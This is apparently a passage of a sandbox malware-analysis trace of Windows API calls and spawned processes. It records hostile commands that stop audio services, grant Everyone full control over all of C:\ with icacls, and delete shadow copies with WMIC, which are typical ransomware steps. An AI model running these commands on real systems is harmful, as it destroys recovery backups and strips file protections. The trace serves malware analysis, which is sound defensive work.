	[0119.029] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe0aea0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x28f920, lpReserved=0x0 | out: lpBuffer=0xffe0aea0*, lpNumberOfCharsWritten=0x28f920*=0x1) returned 1
	[0119.030] Sleep (dwMilliseconds=0x9c4) 
	[0122.583] NetApiBufferFree (Buffer=0x482c90) returned 0x0
	[0122.583] NetServiceControl (in: servername=0x0, service="AudioSrv", opcode=0x0, arg=0x0, bufptr=0x28f9b0 | out: bufptr=0x28f9b0) returned 0x0
	[0122.588] _vsnwprintf_s (in: _Buffer=0xffe0aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format=".", _ArgList=0x28f958 | out: _Buffer=".") returned 1
	[0122.588] GetFileType (hFile=0x7) returned 0x2
	[0122.589] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f928 | out: lpMode=0x28f928) returned 1
	[0122.589] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe0aea0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x28f920, lpReserved=0x0 | out: lpBuffer=0xffe0aea0*, lpNumberOfCharsWritten=0x28f920*=0x1) returned 1
	[0122.590] Sleep (dwMilliseconds=0x9c4) 
	[0125.377] NetApiBufferFree (Buffer=0x482c90) returned 0x0
	[0125.377] NetServiceControl (in: servername=0x0, service="AudioSrv", opcode=0x0, arg=0x0, bufptr=0x28f9b0 | out: bufptr=0x28f9b0) returned 0x0
	[0125.380] _vsnwprintf_s (in: _Buffer=0xffe0aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="\r\n", _ArgList=0x28f958 | out: _Buffer="\r\n") returned 2
	[0125.380] GetFileType (hFile=0x7) returned 0x2
	[0125.381] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f928 | out: lpMode=0x28f928) returned 1
	[0125.382] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe0aea0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f920, lpReserved=0x0 | out: lpBuffer=0xffe0aea0*, lpNumberOfCharsWritten=0x28f920*=0x2) returned 1
	[0125.383] NetApiBufferFree (Buffer=0x482c90) returned 0x0
	[0125.383] GetServiceDisplayNameW (in: hSCManager=0x47ce40, lpServiceName="AudioSrv", lpDisplayName=0xffe05350, lpcchBuffer=0x28f958 | out: lpDisplayName="Windows Audio", lpcchBuffer=0x28f958) returned 1
	[0125.383] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdc9, dwLanguageId=0x0, lpBuffer=0xffe05b50, nSize=0x800, Arguments=0xffe07f90 | out: lpBuffer="The Windows Audio service was stopped successfully.\r\n") returned 0x35
	[0125.384] GetFileType (hFile=0x7) returned 0x2
	[0125.384] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f898 | out: lpMode=0x28f898) returned 1
	[0125.385] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe05b50*, nNumberOfCharsToWrite=0x35, lpNumberOfCharsWritten=0x28f890, lpReserved=0x0 | out: lpBuffer=0xffe05b50*, lpNumberOfCharsWritten=0x28f890*=0x35) returned 1
	[0125.386] GetFileType (hFile=0x7) returned 0x2
	[0125.387] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f898 | out: lpMode=0x28f898) returned 1
	[0125.388] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffde1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f890, lpReserved=0x0 | out: lpBuffer=0xffde1efc*, lpNumberOfCharsWritten=0x28f890*=0x2) returned 1
	[0125.389] NetApiBufferFree (Buffer=0x480cc0) returned 0x0
	[0125.389] CloseServiceHandle (hSCObject=0x47cea0) returned 1
	[0125.390] NetServiceControl (in: servername=0x0, service="AUDIOENDPOINTBUILDER", opcode=0x3, arg=0x0, bufptr=0x28fa70 | out: bufptr=0x28fa70) returned 0x0
	[0125.863] GetServiceDisplayNameW (in: hSCManager=0x47ce40, lpServiceName="AUDIOENDPOINTBUILDER", lpDisplayName=0xffe05350, lpcchBuffer=0x28fa18 | out: lpDisplayName="Windows Audio Endpoint Builder", lpcchBuffer=0x28fa18) returned 1
	[0125.864] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdc7, dwLanguageId=0x0, lpBuffer=0xffe05b50, nSize=0x800, Arguments=0xffe07f90 | out: lpBuffer="The Windows Audio Endpoint Builder service is stopping") returned 0x36
	[0125.864] GetFileType (hFile=0x7) returned 0x2
	[0125.865] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f958 | out: lpMode=0x28f958) returned 1
	[0125.866] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe05b50*, nNumberOfCharsToWrite=0x36, lpNumberOfCharsWritten=0x28f950, lpReserved=0x0 | out: lpBuffer=0xffe05b50*, lpNumberOfCharsWritten=0x28f950*=0x36) returned 1
	[0125.867] _vsnwprintf_s (in: _Buffer=0xffe0aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format=".", _ArgList=0x28fa18 | out: _Buffer=".") returned 1
	[0125.867] GetFileType (hFile=0x7) returned 0x2
	[0125.868] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f9e8 | out: lpMode=0x28f9e8) returned 1
	[0125.868] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe0aea0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x28f9e0, lpReserved=0x0 | out: lpBuffer=0xffe0aea0*, lpNumberOfCharsWritten=0x28f9e0*=0x1) returned 1
	[0125.869] Sleep (dwMilliseconds=0x9c4) 
	[0128.550] NetApiBufferFree (Buffer=0x482c90) returned 0x0
	[0128.550] NetServiceControl (in: servername=0x0, service="AUDIOENDPOINTBUILDER", opcode=0x0, arg=0x0, bufptr=0x28fa70 | out: bufptr=0x28fa70) returned 0x0
	[0128.554] _vsnwprintf_s (in: _Buffer=0xffe0aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="\r\n", _ArgList=0x28fa18 | out: _Buffer="\r\n") returned 2
	[0128.554] GetFileType (hFile=0x7) returned 0x2
	[0128.554] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f9e8 | out: lpMode=0x28f9e8) returned 1
	[0128.555] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe0aea0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f9e0, lpReserved=0x0 | out: lpBuffer=0xffe0aea0*, lpNumberOfCharsWritten=0x28f9e0*=0x2) returned 1
	[0128.556] NetApiBufferFree (Buffer=0x482c90) returned 0x0
	[0128.556] GetServiceDisplayNameW (in: hSCManager=0x47ce40, lpServiceName="AUDIOENDPOINTBUILDER", lpDisplayName=0xffe05350, lpcchBuffer=0x28fa18 | out: lpDisplayName="Windows Audio Endpoint Builder", lpcchBuffer=0x28fa18) returned 1
	[0128.557] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdc9, dwLanguageId=0x0, lpBuffer=0xffe05b50, nSize=0x800, Arguments=0xffe07f90 | out: lpBuffer="The Windows Audio Endpoint Builder service was stopped successfully.\r\n") returned 0x46
	[0128.557] GetFileType (hFile=0x7) returned 0x2
	[0128.557] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f958 | out: lpMode=0x28f958) returned 1
	[0128.558] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe05b50*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x28f950, lpReserved=0x0 | out: lpBuffer=0xffe05b50*, lpNumberOfCharsWritten=0x28f950*=0x46) returned 1
	[0128.559] GetFileType (hFile=0x7) returned 0x2
	[0128.560] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f958 | out: lpMode=0x28f958) returned 1
	[0128.560] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffde1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f950, lpReserved=0x0 | out: lpBuffer=0xffde1efc*, lpNumberOfCharsWritten=0x28f950*=0x2) returned 1
	[0128.562] NetApiBufferFree (Buffer=0x474d60) returned 0x0
	[0128.562] NetApiBufferFree (Buffer=0x47c130) returned 0x0
	[0128.563] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"audioendpointbuilder\" /y"
	[0128.563] exit (_Code=0) 

Process:
	id = "19"
	image_name = "icacls.exe"
	filename = "c:\\windows\\system32\\icacls.exe"
	page_root = "0x30ba1000"
	os_pid = "0x8b8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "icacls \"C:\\*\" /grant Everyone:F /T /C /Q"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 104
	os_tid = 0x848


Thread:
	id = 107
	os_tid = 0xc0


Thread:
	id = 305
	os_tid = 0xd90


Thread:
	id = 306
	os_tid = 0xd94


Process:
	id = "20"
	image_name = "wmic.exe"
	filename = "c:\\windows\\system32\\wbem\\wmic.exe"
	page_root = "0x2eece000"
	os_pid = "0xa38"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xb28"
	cmd_line = "WMIC.exe  shadowcopy delete"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 111
	os_tid = 0x7b8

	[0127.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fa10 | out: lpSystemTimeAsFileTime=0x20fa10*(dwLowDateTime=0x1d9c8b30, dwHighDateTime=0x1d5cdef)) 
	[0127.735] GetCurrentProcessId () returned 0xa38
	[0127.735] GetCurrentThreadId () returned 0x7b8
	[0127.735] GetTickCount () returned 0x11667a9
	[0127.736] QueryPerformanceCounter (in: lpPerformanceCount=0x20fa18 | out: lpPerformanceCount=0x20fa18*=26948846653) returned 1
	[0127.736] GetModuleHandleW (lpModuleName=0x0) returned 0xffad0000
	[0127.736] __set_app_type (_Type=0x1) 
	[0127.736] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb1ced0) returned 0x0
	[0127.737] __wgetmainargs (in: _Argc=0xffb42380, _Argv=0xffb42390, _Env=0xffb42388, _DoWildCard=0, _StartInfo=0xffb4239c | out: _Argc=0xffb42380, _Argv=0xffb42390, _Env=0xffb42388) returned 0
	[0128.444] ??0CHString@@QEAA@XZ () returned 0xffb42ab0
	[0129.560] malloc (_Size=0x30) returned 0xc5a40
	[0129.766] malloc (_Size=0x70) returned 0xc5a80
	[0129.766] malloc (_Size=0x50) returned 0xc7aa0
	[0129.766] malloc (_Size=0x30) returned 0xc7b00
	[0129.766] malloc (_Size=0x48) returned 0xc7b40
	[0129.766] malloc (_Size=0x30) returned 0xc7b90
	[0129.766] malloc (_Size=0x30) returned 0xc7bd0
	[0129.766] ??0CHString@@QEAA@XZ () returned 0xffb42f58
	[0129.767] malloc (_Size=0x30) returned 0xc7c10
	[0129.767] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0129.767] SetConsoleCtrlHandler (HandlerRoutine=0xffb15724, Add=1) returned 1
	[0129.767] _onexit (_Func=0xffb2f378) returned 0xffb2f378
	[0129.767] _onexit (_Func=0xffb2f490) returned 0xffb2f490
	[0129.767] _onexit (_Func=0xffb2f4d0) returned 0xffb2f4d0
	[0129.768] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0129.768] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0129.781] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
	[0132.640] CoCreateInstance (in: rclsid=0xffad73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xffad7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xffb42940 | out: ppv=0xffb42940*=0x1bc1390) returned 0x0
	[0132.690] GetCurrentProcess () returned 0xffffffffffffffff
	[0132.690] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x20f7e0 | out: TokenHandle=0x20f7e0*=0xf4) returned 1
	[0132.690] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x20f7d8 | out: TokenInformation=0x0, ReturnLength=0x20f7d8) returned 0
	[0132.690] malloc (_Size=0x40) returned 0xc7f80
	[0132.691] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0xc7f80, TokenInformationLength=0x40, ReturnLength=0x20f7d8 | out: TokenInformation=0xc7f80, ReturnLength=0x20f7d8) returned 1
	[0132.691] AdjustTokenPrivileges (in: TokenHandle=0xf4, DisableAllPrivileges=0, NewState=0xc7f80*(PrivilegesCount=0x5, Privileges=((Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=3, Attributes=0x19), (Luid.LowPart=0x2, Luid.HighPart=33, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=1624919162, Attributes=0x3001223))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0132.691] free (_Block=0xc7f80) 
	[0132.691] CloseHandle (hObject=0xf4) returned 1
	[0132.694] malloc (_Size=0x40) returned 0xc7f80
	[0132.695] malloc (_Size=0x40) returned 0xc6400
	[0132.695] malloc (_Size=0x40) returned 0xc6450
	[0132.695] malloc (_Size=0x20a) returned 0xc64a0
	[0132.695] GetSystemDirectoryW (in: lpBuffer=0xc64a0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0132.695] free (_Block=0xc64a0) 
	[0132.695] malloc (_Size=0x18) returned 0x21dfb0
	[0132.696] malloc (_Size=0x18) returned 0xc64a0
	[0132.696] malloc (_Size=0x18) returned 0xc64c0
	[0132.696] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13
	[0132.696] SysStringLen (param_1="\\kernel32.dll") returned 0xd
	[0132.697] free (_Block=0x21dfb0) 
	[0132.697] free (_Block=0xc64a0) 
	[0132.697] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76f20000
	[0132.698] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0132.698] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0132.699] FreeLibrary (hLibModule=0x76f20000) returned 1
	[0132.700] free (_Block=0xc64c0) 
	[0132.700] _vsnwprintf (in: _Buffer=0xc6450, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x20f408 | out: _Buffer="ms_409") returned 6
	[0132.700] malloc (_Size=0x20) returned 0xc64a0
	[0132.700] GetComputerNameW (in: lpBuffer=0xc64a0, nSize=0x20f7e0 | out: lpBuffer="XDUWTFONO", nSize=0x20f7e0) returned 1
	[0132.702] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.702] malloc (_Size=0x14) returned 0x21dfb0
	[0132.702] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.702] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x20f7d8 | out: lpNameBuffer=0x0, nSize=0x20f7d8) returned 0x7fffffde000
	[0132.706] GetLastError () returned 0xea
	[0132.706] malloc (_Size=0x40) returned 0xc64d0
	[0132.706] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xc64d0, nSize=0x20f7d8 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x20f7d8) returned 0x1
	[0132.877] lstrlenW (lpString="") returned 0
	[0132.877] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.877] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3
	[0132.882] lstrlenW (lpString=".") returned 1
	[0132.883] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.883] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3
	[0132.883] lstrlenW (lpString="LOCALHOST") returned 9
	[0132.883] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.883] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3
	[0132.883] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.883] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.883] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2
	[0132.883] free (_Block=0x21dfb0) 
	[0132.883] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.884] malloc (_Size=0x14) returned 0x21dfb0
	[0132.884] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.884] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.884] malloc (_Size=0x14) returned 0xc6520
	[0132.884] lstrlenW (lpString="XDUWTFONO") returned 9
	[0132.884] malloc (_Size=0x8) returned 0xc6540
	[0132.884] malloc (_Size=0x18) returned 0xc6560
	[0132.884] malloc (_Size=0x30) returned 0xc6580
	[0132.885] malloc (_Size=0x18) returned 0xc65c0
	[0132.885] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0132.885] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0132.885] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0132.885] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0132.885] malloc (_Size=0x30) returned 0xc65e0
	[0132.885] malloc (_Size=0x18) returned 0xc6620
	[0132.885] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0132.885] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0132.885] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0132.886] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0132.886] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0132.886] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0132.886] malloc (_Size=0x30) returned 0xc6640
	[0132.886] malloc (_Size=0x18) returned 0xc6680
	[0132.886] SysStringLen (param_1="DELEGATE") returned 0x8
	[0132.886] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0132.886] SysStringLen (param_1="DELEGATE") returned 0x8
	[0132.886] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0132.886] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0132.887] SysStringLen (param_1="DELEGATE") returned 0x8
	[0132.887] malloc (_Size=0x30) returned 0xc66a0
	[0132.887] malloc (_Size=0x18) returned 0xc66e0
	[0132.887] malloc (_Size=0x30) returned 0xc6700
	[0132.887] malloc (_Size=0x18) returned 0xc6740
	[0132.887] SysStringLen (param_1="NONE") returned 0x4
	[0132.887] SysStringLen (param_1="DEFAULT") returned 0x7
	[0132.887] SysStringLen (param_1="DEFAULT") returned 0x7
	[0132.887] SysStringLen (param_1="NONE") returned 0x4
	[0132.887] malloc (_Size=0x30) returned 0xc6760
	[0132.887] malloc (_Size=0x18) returned 0xc67a0
	[0132.888] SysStringLen (param_1="CONNECT") returned 0x7
	[0132.888] SysStringLen (param_1="DEFAULT") returned 0x7
	[0132.888] malloc (_Size=0x30) returned 0xc67c0
	[0132.888] malloc (_Size=0x18) returned 0xc6800
	[0132.888] SysStringLen (param_1="CALL") returned 0x4
	[0132.888] SysStringLen (param_1="DEFAULT") returned 0x7
	[0132.888] SysStringLen (param_1="CALL") returned 0x4
	[0132.888] SysStringLen (param_1="CONNECT") returned 0x7
	[0132.888] malloc (_Size=0x30) returned 0xc6820
	[0132.888] malloc (_Size=0x18) returned 0xc6860
	[0132.888] SysStringLen (param_1="PKT") returned 0x3
	[0132.889] SysStringLen (param_1="DEFAULT") returned 0x7
	[0132.889] SysStringLen (param_1="PKT") returned 0x3
	[0132.889] SysStringLen (param_1="NONE") returned 0x4
	[0132.889] SysStringLen (param_1="NONE") returned 0x4
	[0132.889] SysStringLen (param_1="PKT") returned 0x3
	[0132.889] malloc (_Size=0x30) returned 0xc6880
	[0132.889] malloc (_Size=0x18) returned 0xc68c0
	[0132.889] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0132.889] SysStringLen (param_1="DEFAULT") returned 0x7
	[0132.889] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0132.889] SysStringLen (param_1="NONE") returned 0x4
	[0132.889] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0132.889] SysStringLen (param_1="PKT") returned 0x3
	[0132.889] SysStringLen (param_1="PKT") returned 0x3
	[0132.889] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0132.890] malloc (_Size=0x30) returned 0xc8000
	[0132.890] malloc (_Size=0x18) returned 0xc6ce0
	[0132.890] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0132.890] SysStringLen (param_1="DEFAULT") returned 0x7
	[0132.890] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0132.891] SysStringLen (param_1="PKT") returned 0x3
	[0132.891] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0132.891] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0132.891] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0132.891] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0132.891] malloc (_Size=0x30) returned 0xc8040
	[0132.891] malloc (_Size=0x40) returned 0xc6d00
	[0132.891] malloc (_Size=0x20a) returned 0xc8fd0
	[0132.892] GetSystemDirectoryW (in: lpBuffer=0xc8fd0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0132.892] free (_Block=0xc8fd0) 
	[0132.892] malloc (_Size=0x18) returned 0xc6d50
	[0132.892] malloc (_Size=0x18) returned 0xc6d70
	[0132.892] malloc (_Size=0x18) returned 0xc6d90
	[0132.892] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13
	[0132.892] SysStringLen (param_1="\\wbem\\") returned 0x6
	[0132.893] free (_Block=0xc6d50) 
	[0132.893] free (_Block=0xc6d70) 
	[0132.893] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32
	[0132.893] free (_Block=0xc6d90) 
	[0132.893] malloc (_Size=0x18) returned 0xc6d50
	[0132.893] malloc (_Size=0x18) returned 0xc6d70
	[0132.894] malloc (_Size=0x18) returned 0xc6d90
	[0132.894] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19
	[0132.894] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10
	[0132.894] free (_Block=0xc6d50) 
	[0132.894] free (_Block=0xc6d70) 
	[0132.894] GetCurrentThreadId () returned 0x7b8
	[0132.895] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x20f0e0 | out: phkResult=0x20f0e0*=0xf8) returned 0x0
	[0132.895] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x20f130, lpcbData=0x20f0d0*=0x400 | out: lpType=0x0, lpData=0x20f130*=0x30, lpcbData=0x20f0d0*=0x4) returned 0x0
	[0132.895] _wcsicmp (_String1="0", _String2="1") returned -1
	[0132.895] _wcsicmp (_String1="0", _String2="2") returned -2
	[0132.895] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x20f0d0*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x20f0d0*=0x42) returned 0x0
	[0132.895] malloc (_Size=0x86) returned 0xc6db0
	[0132.896] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0xc6db0, lpcbData=0x20f0d0*=0x42 | out: lpType=0x0, lpData=0xc6db0*=0x25, lpcbData=0x20f0d0*=0x42) returned 0x0
	[0132.896] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0132.896] malloc (_Size=0x42) returned 0xc6e40
	[0132.896] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0132.896] RegQueryValueExW (in: hKey=0xf8, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x20f130, lpcbData=0x20f0d0*=0x400 | out: lpType=0x0, lpData=0x20f130*=0x36, lpcbData=0x20f0d0*=0xc) returned 0x0
	[0132.896] _wtol (_String="65536") returned 65536
	[0132.896] free (_Block=0xc6db0) 
	[0132.896] RegCloseKey (hKey=0x0) returned 0x6
	[0132.896] CoCreateInstance (in: rclsid=0xffad7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xffad73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x20f5d8 | out: ppv=0x20f5d8*=0x22071d0) returned 0x0
	[0134.085] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x22071d0, xmlSource=0x20f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0xc6d50), isSuccessful=0x20f790 | out: isSuccessful=0x20f790*=0xffff) returned 0x0
	[0167.433] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x22071d0, DOMElement=0x20f5d0 | out: DOMElement=0x20f5d0*=0x220bc50) returned 0x0
	[0167.434] malloc (_Size=0x18) returned 0xc6e90
	[0167.437] IXMLDOMElement:getElementsByTagName (in: This=0x220bc50, tagName="XSLFORMAT", resultList=0x20f5e0 | out: resultList=0x20f5e0*=0x2209cc0) returned 0x0
	[0167.440] free (_Block=0xc6e90) 
	[0167.440] IXMLDOMNodeList:get_length (in: This=0x2209cc0, listLength=0x20f7a8 | out: listLength=0x20f7a8*=21) returned 0x0
	[0167.441] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=0, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.441] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="texttable.xsl") returned 0x0
	[0167.441] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.442] malloc (_Size=0x18) returned 0xc6e90
	[0167.442] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.442] free (_Block=0xc6e90) 
	[0167.442] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x4)) returned 0x0
	[0167.442] malloc (_Size=0x18) returned 0xc6e90
	[0167.442] malloc (_Size=0x18) returned 0xc6eb0
	[0167.443] malloc (_Size=0x30) returned 0xc8080
	[0167.443] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.443] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.443] IUnknown:Release (This=0x220a280) returned 0x0
